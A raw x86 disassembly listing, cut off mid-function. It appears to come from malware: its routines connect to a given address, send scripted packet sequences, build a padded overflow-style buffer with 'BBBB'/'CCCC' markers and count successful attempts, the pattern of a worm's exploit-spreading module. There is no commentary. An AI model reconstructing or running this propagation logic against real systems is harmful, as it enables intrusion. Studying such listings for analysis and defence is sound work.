lea eax, [ebp+var_14D0]
push esi
push eax
call sub_4153F0
push 4
lea eax, [ebp+var_11AC]
push offset loc_4250FC
push eax
call sub_4153F0
push 4
lea eax, [ebp+var_11A8]
push [ebp+var_14]
push eax
call sub_4153F0
add esp, 40h
push esi
call sub_415B10
push eax
lea eax, [ebp+var_119C]
push esi
push eax
call sub_4153F0
add esp, 10h
xor eax, eax
loc_4039E3: ; CODE XREF: sub_403833+1C8j
mov cl, [ebp+eax+var_1CC4]
mov [ebp+eax*2+var_4803], bl
mov [ebp+eax*2+var_4804], cl
inc eax
cmp eax, edi
jl short loc_4039E3
mov esi, 1C52h
lea eax, [ebp+var_89B4]
push esi
push 31h
push eax
mov [ebp+var_2CAC], bl
mov [ebp+var_2CAB], bl
call sub_415390
push esi
lea eax, [ebp+var_68DC]
push 31h
push eax
call sub_415390
add esp, 18h
jmp short loc_403A88
; ---------------------------------------------------------------------------
loc_403A31: ; CODE XREF: sub_403833+119j
push 7D0h
lea eax, [ebp+var_F14]
push 90h
push eax
call sub_415390
mov esi, offset loc_4257A0
push esi
call sub_415B10
push eax
lea eax, [ebp+var_E74]
push esi
push eax
call sub_4153F0
lea eax, [ebp+var_10]
push eax
call sub_415B10
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_758]
push eax
call sub_4153F0
mov eax, dword_425F98
add esp, 2Ch
mov [ebp+var_768], eax
loc_403A88: ; CODE XREF: sub_403833+1FCj
push 0E29h
lea eax, [ebp+var_2CA8]
push 31h
push eax
call sub_415390
movsx eax, [ebp+var_1]
mov edi, [ebp+arg_BC]
add esp, 0Ch
add eax, 4
push ebx
push eax
lea eax, [ebp+var_B4]
push eax
push edi
call dword_43CA74 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_403AC7
loc_403AC0: ; CODE XREF: sub_403833+2BBj
; sub_403833+2E2j ...
xor al, al
jmp loc_403C6F
; ---------------------------------------------------------------------------
loc_403AC7: ; CODE XREF: sub_403833+28Bj
mov esi, 640h
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_43CA3C ; recv
push ebx
push 68h
push offset dword_425BC0
push edi
call dword_43CA74 ; send
cmp eax, 0FFFFFFFFh
jz short loc_403AC0
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_43CA3C ; recv
push ebx
push 0A0h
push offset dword_425C30
push edi
call dword_43CA74 ; send
cmp eax, 0FFFFFFFFh
jz short loc_403AC0
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_43CA3C ; recv
cmp [ebp+arg_C0], ebx
jz loc_403BDD
push 68h
lea eax, [ebp+var_89B4]
push offset dword_425DF0
push eax
call sub_4153F0
lea eax, [ebp+var_4804]
push 1B5Ah
push eax
lea eax, [ebp+var_894C]
push eax
call sub_4153F0
push 70h
lea eax, [ebp+var_68DC]
push offset dword_425E60
push eax
call sub_4153F0
lea eax, [ebp+var_3770]
push 0A5Eh
push eax
lea eax, [ebp+var_686C]
push eax
call sub_4153F0
push 84h
lea eax, [ebp+var_5DA8]
push offset dword_425ED8
push eax
call sub_4153F0
add esp, 3Ch
lea eax, [ebp+var_89B4]
push ebx
push 10FCh
push eax
push edi
call dword_43CA74 ; send
cmp eax, 0FFFFFFFFh
jz loc_403AC0
push ebx
lea eax, [ebp+var_744]
push esi
push eax
push edi
call dword_43CA3C ; recv
push ebx
push 0FDCh
lea eax, [ebp+var_68DC]
jmp short loc_403C33
; ---------------------------------------------------------------------------
loc_403BDD: ; CODE XREF: sub_403833+2FAj
push 7Ch
lea eax, [ebp+var_2CA8]
push offset dword_425CD8
push eax
call sub_4153F0
lea eax, [ebp+var_F14]
push 7D0h
push eax
lea eax, [ebp+var_2C2C]
push eax
call sub_4153F0
push 90h
lea eax, [ebp+var_245C]
push offset off_425D58
push eax
call sub_4153F0
add esp, 24h
mov [ebp+var_1FB1], bl
lea eax, [ebp+var_2CA8]
push ebx
push 0CF8h
loc_403C33: ; CODE XREF: sub_403833+3A8j
push eax
push edi
call dword_43CA74 ; send
cmp eax, 0FFFFFFFFh
jz loc_403AC0
push 12Ch
call dword_421060 ; Sleep
sub esp, 0BCh
lea esi, [ebp+arg_0]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_4036D2
add esp, 0BCh
test al, al
setnz al
loc_403C6F: ; CODE XREF: sub_403833+28Fj
pop edi
pop esi
pop ebx
leave
retn
sub_403833 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403C74 proc near ; CODE XREF: .text:00402FB3p
; .text:00403E5Dp ...
var_854 = byte ptr -854h
var_810 = byte ptr -810h
var_214 = byte ptr -214h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_14 = byte ptr 1Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
arg_B0 = dword ptr 0B8h
push ebp
mov ebp, esp
sub esp, 854h
push ebx
push esi
push edi
push 0BB80h
push 76Ch
call sub_413F12
xor edi, edi
push 10h
lea eax, [ebp+var_14]
push edi
push eax
mov [ebp+var_4], edi
call sub_415390
add esp, 14h
lea eax, [ebp+arg_4]
mov [ebp+var_14], 2
push eax
call dword_43CA64 ; inet_addr
push [ebp+arg_A0]
mov [ebp+var_10], eax
call dword_43CA24 ; ntohs
push 6
push 1
push 2
mov [ebp+var_12], ax
call dword_43CAA4 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_403D7C
lea eax, [ebp+var_14]
push 10h
push eax
push ebx
call dword_43C9CC ; connect
cmp eax, 0FFFFFFFFh
jz loc_403D7C
push edi
push 89h
push offset dword_425938
push ebx
call dword_43CA74 ; send
cmp eax, 0FFFFFFFFh
jz short loc_403D7C
mov esi, 640h
push edi
lea eax, [ebp+var_854]
push esi
push eax
push ebx
call dword_43CA3C ; recv
push edi
push 0A8h
push offset dword_4259C8
push ebx
call dword_43CA74 ; send
cmp eax, 0FFFFFFFFh
jz short loc_403D7C
push edi
lea eax, [ebp+var_854]
push esi
push eax
push ebx
call dword_43CA3C ; recv
push edi
push 0DEh
push offset dword_425A78
push ebx
call dword_43CA74 ; send
cmp eax, 0FFFFFFFFh
jz short loc_403D7C
push edi
lea eax, [ebp+var_854]
push esi
push eax
push ebx
call dword_43CA3C ; recv
movsx eax, [ebp+var_810]
sub eax, 30h
jz short loc_403D86
dec eax
jz short loc_403D83
loc_403D7C: ; CODE XREF: sub_403C74+63j
; sub_403C74+79j ...
xor eax, eax
jmp loc_403E1C
; ---------------------------------------------------------------------------
loc_403D83: ; CODE XREF: sub_403C74+106j
push edi
jmp short loc_403DAA
; ---------------------------------------------------------------------------
loc_403D86: ; CODE XREF: sub_403C74+103j
push 2
push ebx
sub esp, 0BCh
lea esi, [ebp+arg_0]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_403833
add esp, 0C4h
test al, al
jnz short loc_403DCA
push 1
loc_403DAA: ; CODE XREF: sub_403C74+110j
push ebx
lea esi, [ebp+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_403833
add esp, 0C4h
test al, al
jz short loc_403DD1
loc_403DCA: ; CODE XREF: sub_403C74+132j
mov [ebp+var_4], 1
loc_403DD1: ; CODE XREF: sub_403C74+154j
push ebx
call dword_43CABC ; closesocket
cmp [ebp+var_4], 0
jz short loc_403E19
push 0
lea eax, [ebp+var_214]
push [ebp+arg_B0]
push eax
lea eax, [ebp+arg_14]
push eax
push [ebp+arg_0]
call sub_412BD1
lea eax, [ebp+var_214]
push eax
call sub_40B078
mov eax, [ebp+arg_A8]
add esp, 18h
imul eax, 3Ch
lea eax, dword_427390[eax]
inc dword ptr [eax]
loc_403E19: ; CODE XREF: sub_403C74+168j
xor eax, eax
inc eax
loc_403E1C: ; CODE XREF: sub_403C74+10Aj
pop edi
pop esi
pop ebx
leave
retn
sub_403C74 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push esi
push edi
sub esp, 0BCh
lea esi, [ebp+8]
mov dword ptr [ebp+0A8h], 1BDh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_402DD1
push 2Fh
lea esi, [ebp+8]
pop ecx
mov dword ptr [ebp+0A8h], 1BDh
mov edi, esp
mov [ebp-4], eax
rep movsd
call sub_403C74
add esp, 0BCh
cmp dword ptr [ebp-4], 0
jnz short loc_403E72
test eax, eax
jz short loc_403E75
loc_403E72: ; CODE XREF: .text:00403E6Cj
xor eax, eax
inc eax
loc_403E75: ; CODE XREF: .text:00403E70j
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
sub_403E79 proc near ; CODE XREF: sub_4040E5+Ep
; sub_4040E5+33p ...
mov eax, ecx
and dword ptr [eax+4], 0
and dword ptr [eax], 0
retn
sub_403E79 endp
; =============== S U B R O U T I N E =======================================
sub_403E83 proc near ; CODE XREF: sub_4040E5+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
push edi
push ebx
mov esi, ecx
call sub_415BE9
mov edi, eax
pop ecx
test edi, edi
jz short loc_403EB5
push ebx
push 0
push edi
call sub_415390
push ebx
push [esp+1Ch+arg_0]
push edi
call sub_4153F0
add esp, 18h
mov [esi+4], ebx
mov [esi], edi
loc_403EB5: ; CODE XREF: sub_403E83+14j
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_403E83 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403EBD proc near ; CODE XREF: sub_403FAF+18p
; sub_404029+16p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
mov ebx, ecx
mov ecx, [ebp+arg_C]
push esi
push edi
lea edi, [eax+ecx]
push edi
call sub_415BE9
mov esi, eax
pop ecx
test esi, esi
jz short loc_403F09
push edi
push 0
push esi
call sub_415390
push [ebp+arg_4]
push [ebp+arg_0]
push esi
call sub_4153F0
push [ebp+arg_C]
mov eax, [ebp+arg_4]
add eax, esi
push [ebp+arg_8]
push eax
call sub_4153F0
add esp, 24h
mov [ebx+4], edi
mov [ebx], esi
loc_403F09: ; CODE XREF: sub_403EBD+1Cj
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn 10h
sub_403EBD endp
; =============== S U B R O U T I N E =======================================
sub_403F12 proc near ; CODE XREF: sub_403FAF+5Ep
; sub_403FAF+6Fp ...
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_403F22
push eax
call sub_415C9B
pop ecx
loc_403F22: ; CODE XREF: sub_403F12+7j
and dword ptr [esi+4], 0
and dword ptr [esi], 0
pop esi
retn
sub_403F12 endp
; =============== S U B R O U T I N E =======================================
sub_403F2B proc near ; CODE XREF: sub_403FAF+20p
; sub_40408A+8p ...
push ebx
push esi
mov esi, ecx
push edi
mov eax, [esi+4]
cmp eax, 0FFFFh
jge short loc_403F55
xor ebx, ebx
cmp eax, 7Fh
setnl bl
lea ebx, [ebx+ebx+1]
add eax, ebx
push eax
call sub_415BE9
mov edi, eax
pop ecx
test edi, edi
jnz short loc_403F59
loc_403F55: ; CODE XREF: sub_403F2B+Dj
xor al, al
jmp short loc_403FAB
; ---------------------------------------------------------------------------
loc_403F59: ; CODE XREF: sub_403F2B+28j
mov eax, [esi+4]
add eax, ebx
push eax
push 0
push edi
call sub_415390
add esp, 0Ch
cmp ebx, 1
jnz short loc_403F79
mov al, [esi+4]
mov [edi], al
lea eax, [edi+1]
jmp short loc_403F8E
; ---------------------------------------------------------------------------
loc_403F79: ; CODE XREF: sub_403F2B+42j
mov byte ptr [edi], 82h
mov eax, [esi+4]
sar eax, 8
mov [edi+1], al
mov al, [esi+4]
mov [edi+2], al
lea eax, [edi+3]
loc_403F8E: ; CODE XREF: sub_403F2B+4Cj
push dword ptr [esi+4]
push dword ptr [esi]
push eax
call sub_4153F0
add esp, 0Ch
push dword ptr [esi]
call sub_415C9B
add [esi+4], ebx
pop ecx
mov [esi], edi
mov al, 1
loc_403FAB: ; CODE XREF: sub_403F2B+2Cj
pop edi
pop esi
pop ebx
retn
sub_403F2B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403FAF proc near ; CODE XREF: sub_4040E5+89p
; sub_4040E5+E3p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push edi
lea ecx, [ebp+var_8]
push dword ptr [esi+4]
push dword ptr [esi]
push 1
push offset dword_43B668
call sub_403EBD
lea ecx, [ebp+var_8]
call sub_403F2B
mov eax, [ebp+var_4]
inc eax
push eax
call sub_415BE9
mov edi, eax
pop ecx
test edi, edi
jnz short loc_403FE9
xor al, al
jmp short loc_404025
; ---------------------------------------------------------------------------
loc_403FE9: ; CODE XREF: sub_403FAF+34j
mov eax, [ebp+var_4]
inc eax
push eax
push 0
push edi
call sub_415390
mov byte ptr [edi], 3
push [ebp+var_4]
lea eax, [edi+1]
push [ebp+var_8]
push eax
call sub_4153F0
add esp, 18h
mov ecx, esi
call sub_403F12
mov eax, [ebp+var_4]
lea ecx, [ebp+var_8]
inc eax
mov [esi], edi
mov [esi+4], eax
call sub_403F12
mov al, 1
loc_404025: ; CODE XREF: sub_403FAF+38j
pop edi
pop esi
leave
retn
sub_403FAF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404029 proc near ; CODE XREF: sub_40405D+14p
; sub_40407A+8p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push [ebp+arg_4]
lea ecx, [ebp+var_8]
push [ebp+arg_0]
push dword ptr [esi+4]
push dword ptr [esi]
call sub_403EBD
mov ecx, esi
call sub_403F12
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
pop esi
leave
retn 8
sub_404029 endp
; =============== S U B R O U T I N E =======================================
sub_40405D proc near ; CODE XREF: sub_4040E5+F0p
; sub_4040E5+15Bp ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_415B10
pop ecx
push eax
mov ecx, esi
push [esp+8+arg_0]
call sub_404029
pop esi
retn 4
sub_40405D endp
; =============== S U B R O U T I N E =======================================
sub_40407A proc near ; CODE XREF: sub_4040C6+Bp
; sub_4040E5+1A1p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_404029
retn 8
sub_40407A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40408A proc near ; CODE XREF: sub_4040C6+16p
; sub_4040E5+91p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
call sub_403F2B
test al, al
jz short loc_4040C3
push dword ptr [esi+4]
lea ecx, [ebp+var_8]
push dword ptr [esi]
push 1
push (offset loc_426447+1)
call sub_403EBD
mov ecx, esi
call sub_403F12
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
loc_4040C3: ; CODE XREF: sub_40408A+Fj
pop esi
leave
retn
sub_40408A endp
; =============== S U B R O U T I N E =======================================
sub_4040C6 proc near ; CODE XREF: sub_4040E5+134p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_40407A
test al, al
jz short loc_4040E1
mov ecx, esi
call sub_40408A
loc_4040E1: ; CODE XREF: sub_4040C6+12j
pop esi
retn 8
sub_4040C6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4040E5 proc near ; CODE XREF: .text:0040495Cp
var_858 = byte ptr -858h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 858h
push ebx
push edi
lea ecx, [ebp+var_48]
call sub_403E79
mov edi, 408h
cmp [ebp+arg_8], edi
jg loc_404429
mov ebx, [ebp+arg_10]
lea eax, [ebx+8]
cmp eax, edi
ja loc_404429
push esi
lea ecx, [ebp+var_30]
call sub_403E79
lea ecx, [ebp+var_20]
call sub_403E79
lea ecx, [ebp+var_50]
call sub_403E79
lea ecx, [ebp+var_18]
call sub_403E79
lea ecx, [ebp+var_40]
call sub_403E79
lea ecx, [ebp+var_38]
call sub_403E79
lea ecx, [ebp+var_28]
call sub_403E79
push 4
push offset dword_4260DC
lea ecx, [ebp+var_30]
call sub_404029
push 3
push offset dword_4260E4
lea ecx, [ebp+var_30]
call sub_404029
lea ecx, [ebp+var_30]
call sub_403FAF
lea ecx, [ebp+var_30]
call sub_40408A
mov esi, 800h
lea eax, [ebp+var_858]
push esi
push 42h
push eax
call sub_415390
add esp, 0Ch
lea ecx, [ebp+var_20]
push 8
push offset aRbrbrbrb ; "BBBB"
call sub_404029
push ebx
lea ecx, [ebp+var_20]
push [ebp+arg_C]
call sub_404029
mov eax, 409h
lea ecx, [ebp+var_20]
sub eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_858]
push eax
call sub_404029
lea ecx, [ebp+var_20]
call sub_403FAF
push offset loc_426470
lea ecx, [ebp+var_50]
call sub_40405D
lea ecx, [ebp+var_50]
call sub_403FAF
push esi
lea eax, [ebp+var_858]
push 44h
push eax
call sub_415390
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_58]
push 410h
push eax
call sub_403E83
lea ecx, [ebp+var_58]
call sub_403FAF
push [ebp+var_54]
lea ecx, [ebp+var_50]
push [ebp+var_58]
call sub_4040C6
lea ecx, [ebp+var_58]
call sub_403F12
push esi
lea eax, [ebp+var_858]
push 43h
push eax
call sub_415390
add esp, 0Ch
push offset aCccc ; "CCCC"
lea ecx, [ebp+var_18]
call sub_40405D
push 4
push offset dword_4260E8
lea ecx, [ebp+var_18]
call sub_404029
push [ebp+arg_8]
lea ecx, [ebp+var_18]
push [ebp+arg_4]
call sub_404029
sub edi, [ebp+arg_8]
lea eax, [ebp+var_858]
lea ecx, [ebp+var_18]
push edi
push eax
call sub_404029
lea ecx, [ebp+var_18]
call sub_403FAF
push [ebp+var_14]
lea ecx, [ebp+var_40]
push [ebp+var_18]
call sub_40407A
push [ebp+var_4C]
lea ecx, [ebp+var_40]
push [ebp+var_50]
call sub_40407A
lea ecx, [ebp+var_40]
call sub_40408A
lea ecx, [ebp+var_18]
call sub_403F12
lea ecx, [ebp+var_50]
call sub_403F12
push [ebp+var_1C]
lea ecx, [ebp+var_38]
push [ebp+var_20]
call sub_40407A
push [ebp+var_2C]
lea ecx, [ebp+var_38]
push [ebp+var_30]
call sub_40407A
push [ebp+var_3C]
lea ecx, [ebp+var_38]
push [ebp+var_40]
call sub_40407A
lea ecx, [ebp+var_38]
call sub_40408A
lea ecx, [ebp+var_20]
call sub_403F12
lea ecx, [ebp+var_30]
call sub_403F12
lea ecx, [ebp+var_40]
call sub_403F12
push esi
lea eax, [ebp+var_858]
push 41h
push eax
call sub_415390
add esp, 0Ch
lea eax, [ebp+var_858]
lea ecx, [ebp+var_28]
push 400h
push eax
call sub_404029
lea ecx, [ebp+var_28]
call sub_403FAF
push 2
push offset dword_426464
lea ecx, [ebp+var_28]
call sub_404029
push [ebp+var_34]
lea ecx, [ebp+var_28]
push [ebp+var_38]
call sub_40407A
lea ecx, [ebp+var_28]
call sub_40408A
lea ecx, [ebp+var_38]
call sub_403F12
lea ecx, [ebp+var_10]
call sub_403E79
lea ecx, [ebp+var_8]
call sub_403E79
push [ebp+var_24]
lea ecx, [ebp+var_10]
push [ebp+var_28]
call sub_40407A
lea ecx, [ebp+var_10]
call sub_403F2B
lea ecx, [ebp+var_28]
call sub_403F12
push offset dword_426460
lea ecx, [ebp+var_8]
call sub_40405D
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40407A
lea ecx, [ebp+var_8]
call sub_403F2B
lea ecx, [ebp+var_10]
call sub_403F12
push offset dword_42645C
lea ecx, [ebp+var_10]
call sub_40405D
push [ebp+var_4]
lea ecx, [ebp+var_10]
push [ebp+var_8]
call sub_40407A
lea ecx, [ebp+var_10]
call sub_403F2B
lea ecx, [ebp+var_8]
call sub_403F12
push offset dword_426450
lea ecx, [ebp+var_8]
call sub_40405D
push [ebp+var_C]
lea ecx, [ebp+var_8]
push [ebp+var_10]
call sub_40407A
lea ecx, [ebp+var_8]
call sub_403F2B
lea ecx, [ebp+var_10]
call sub_403F12
push offset dword_42644C
lea ecx, [ebp+var_48]
call sub_40405D
push [ebp+var_4]
lea ecx, [ebp+var_48]
push [ebp+var_8]
call sub_40407A
lea ecx, [ebp+var_8]
call sub_403F12
pop esi
loc_404429: ; CODE XREF: sub_4040E5+1Bj
; sub_4040E5+29j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
pop edi
pop ebx
mov [eax], ecx
mov ecx, [ebp+var_44]
mov [eax+4], ecx
leave
retn
sub_4040E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40443B proc near ; CODE XREF: sub_4044FF+A2p
; sub_4044FF+C7p ...
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push esi
mov esi, [ebp+arg_0]
lea eax, [ebp+var_8]
push edi
push eax
lea eax, [ebp+var_210]
and [ebp+var_4], 0
push eax
lea eax, [ebp+var_10C]
push 0
xor edi, edi
push eax
lea eax, [esi+1]
inc edi
push eax
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
mov [ebp+var_20C], esi
mov [ebp+var_210], edi
mov [ebp+var_8], 0Ah
call dword_4211D4 ; select
cmp eax, edi
jnz short loc_4044A2
lea eax, [ebp+var_10C]
push eax
push esi
call sub_420A06 ; __WSAFDIsSet
test eax, eax
jnz short loc_4044A6
loc_4044A2: ; CODE XREF: sub_40443B+54j
xor eax, eax
jmp short loc_4044B6
; ---------------------------------------------------------------------------
loc_4044A6: ; CODE XREF: sub_40443B+65j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call dword_43CA3C ; recv
loc_4044B6: ; CODE XREF: sub_40443B+69j
pop edi
pop esi
leave
retn
sub_40443B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4044BA proc near ; CODE XREF: sub_4044FF+80p
; sub_4044FF+AEp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_8]
call dword_43CA20 ; ntohl
mov [ebp+var_4], eax
push 0
lea eax, [ebp+var_4]
push 4
push eax
push [ebp+arg_0]
call dword_43CA74 ; send
cmp eax, 4
jz short loc_4044E4
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_4044E4: ; CODE XREF: sub_4044BA+24j
push 0
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_43CA74 ; send
sub eax, [ebp+arg_8]
neg eax
sbb eax, eax
inc eax
leave
retn
sub_4044BA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4044FF proc near ; CODE XREF: sub_4045DE+48p
; .text:00404A4Dp
var_104 = byte ptr -104h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 104h
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea ebx, [edi+41h]
push ebx
mov [ebp+var_4], ebx
call sub_415BE9
mov esi, eax
pop ecx
test esi, esi
jnz short loc_404528
xor al, al
jmp loc_4045D9
; ---------------------------------------------------------------------------
loc_404528: ; CODE XREF: sub_4044FF+20j
push ebx
push 0
push esi
call sub_415390
push 2Fh
push offset dword_426178
push esi
call sub_4153F0
push 8
lea eax, [esi+31h]
push offset dword_4261A8
push eax
mov [esi+2Fh], di
call sub_4153F0
push edi
lea ebx, [esi+3Bh]
push [ebp+arg_4]
mov [esi+39h], di
push ebx
call sub_4153F0
push 6
add ebx, edi
push offset dword_43B660
push ebx
call sub_4153F0
push 85h
push offset dword_4260F0
push [ebp+arg_0]
call sub_4044BA
add esp, 48h
test al, al
jnz short loc_40458F
loc_40458B: ; CODE XREF: sub_4044FF+B8j
xor bl, bl
jmp short loc_4045D0
; ---------------------------------------------------------------------------
loc_40458F: ; CODE XREF: sub_4044FF+8Aj
mov edi, 100h
push 0
lea eax, [ebp+var_104]
push edi
push eax
push [ebp+arg_0]
call sub_40443B
push [ebp+var_4]
push esi
push [ebp+arg_0]
call sub_4044BA
add esp, 1Ch
test al, al
jz short loc_40458B
push 0
lea eax, [ebp+var_104]
push edi
push eax
push [ebp+arg_0]
call sub_40443B
add esp, 10h
mov bl, 1
loc_4045D0: ; CODE XREF: sub_4044FF+8Ej
push esi
call sub_415C9B
pop ecx
mov al, bl
loc_4045D9: ; CODE XREF: sub_4044FF+24j
pop edi
pop esi
pop ebx
leave
retn
sub_4044FF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4045DE proc near ; CODE XREF: .text:00404A33p
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push 0
push 48h
push offset unk_4261B8
push [ebp+arg_0]
call dword_4211F0 ; send
cmp eax, 48h
jnz short loc_404619
push 0
lea eax, [ebp+var_20]
push 20h
push eax
push [ebp+arg_0]
call sub_40443B
add esp, 10h
cmp eax, 0FFFFFFFFh
jz short loc_404619
cmp [ebp+var_20], 82h
jz short loc_40461D
loc_404619: ; CODE XREF: sub_4045DE+1Bj
; sub_4045DE+33j
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40461D: ; CODE XREF: sub_4045DE+39j
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4044FF
add esp, 0Ch
leave
retn
sub_4045DE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404630 proc near ; CODE XREF: sub_40467C+2Dp
var_10 = qword ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
and dword ptr [ebp+var_8+4], 0
shl eax, 3
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
fmul dbl_421248
call sub_415E24
and dword ptr [ebp+var_8+4], 0
mov dword ptr [ebp+var_8], eax
fild [ebp+var_8]
push ecx
push ecx ; double
fst [ebp+var_8]
fmul dbl_421240
fstp [esp+10h+var_10]
call sub_415D04
fadd st, st
pop ecx
pop ecx
fadd [ebp+var_8]
call sub_415E24
inc eax
leave
retn
sub_404630 endp
; =============== S U B R O U T I N E =======================================
sub_40467C proc near ; CODE XREF: sub_40481B+24p
var_40 = qword ptr -40h
mov eax, offset loc_420B63
call sub_4162F0
sub esp, 2Ch
push ebx
push esi
push edi
xor edi, edi
mov [ebp-20h], edi
mov al, [ebp+13h]
push edi
lea ecx, [ebp-38h]
mov [ebp-38h], al
call sub_404CE4
push dword ptr [ebp+10h]
xor ebx, ebx
inc ebx
mov [ebp-4], ebx
call sub_404630
cmp [ebp-2Ch], eax
pop ecx
jnb short loc_4046BE
push edi
push eax
lea ecx, [ebp-38h]
call sub_404C5E
loc_4046BE: ; CODE XREF: sub_40467C+36j
cmp [ebp+10h], edi
mov [ebp-18h], edi
jbe loc_4047DC
mov ebx, [ebp+10h]
loc_4046CD: ; CODE XREF: sub_40467C+157j
cmp dword ptr [ebp+10h], 3
jb short loc_4046D8
push 3
loc_4046D5: ; CODE XREF: sub_40467C+64j
pop ebx
jmp short loc_4046EB
; ---------------------------------------------------------------------------
loc_4046D8: ; CODE XREF: sub_40467C+55j
cmp dword ptr [ebp+10h], 2
jnz short loc_4046E2
push 2
jmp short loc_4046D5
; ---------------------------------------------------------------------------
loc_4046E2: ; CODE XREF: sub_40467C+60j
cmp dword ptr [ebp+10h], 1
jnz short loc_4046EB
xor ebx, ebx
inc ebx
loc_4046EB: ; CODE XREF: sub_40467C+5Aj
; sub_40467C+6Aj
mov [ebp-28h], ebx
mov [ebp-24h], edi
fild qword ptr [ebp-28h]
push ecx
push ecx ; double
fmul dbl_421250
fstp [esp+40h+var_40]
call sub_415E4B
pop ecx
pop ecx
call sub_415E24
cmp ebx, edi
mov [ebp-1Ch], eax
jbe short loc_40472A
mov esi, [ebp+0Ch]
mov ecx, ebx
mov edx, ecx
